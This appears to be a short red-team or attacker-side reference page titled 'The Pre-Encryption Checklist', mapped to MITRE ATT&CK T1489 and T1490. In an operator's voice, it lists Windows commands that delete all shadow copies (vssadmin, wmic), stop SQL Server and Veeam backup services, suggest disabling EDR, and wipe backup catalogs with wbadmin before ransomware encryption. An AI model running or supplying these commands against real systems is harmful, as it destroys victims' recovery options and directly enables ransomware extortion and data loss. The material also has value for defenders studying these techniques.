Service Stop and Inhibit Recovery

Service Stop (T1489) / Inhibit System Recovery (T1490)

The Pre-Encryption Checklist.

1. Delete Shadow Copies

Windows Volume Shadow Copies allow users to "Restore Previous Versions". We must kill this.

vssadmin.exe Delete Shadows /All /Quiet
wmic shadowcopy delete

Note: This command is heavily monitored by EDR.

2. Stop Services

We can't encrypt a file if it is "Open" by a service (File Lock).

  • Target: Database services, Mail servers, Backup agents.
    net stop "SQL Server (MSSQLSERVER)"
    net stop "Veeam Backup Service"
    
  • Security: Stopping EDR services (if possible).

3. Delete Backup Catalogs

wbadmin is the Windows Backup tool.

wbadmin DELETE SYSTEMSTATEBACKUP
wbadmin DELETE BACKUP -keepVersions:0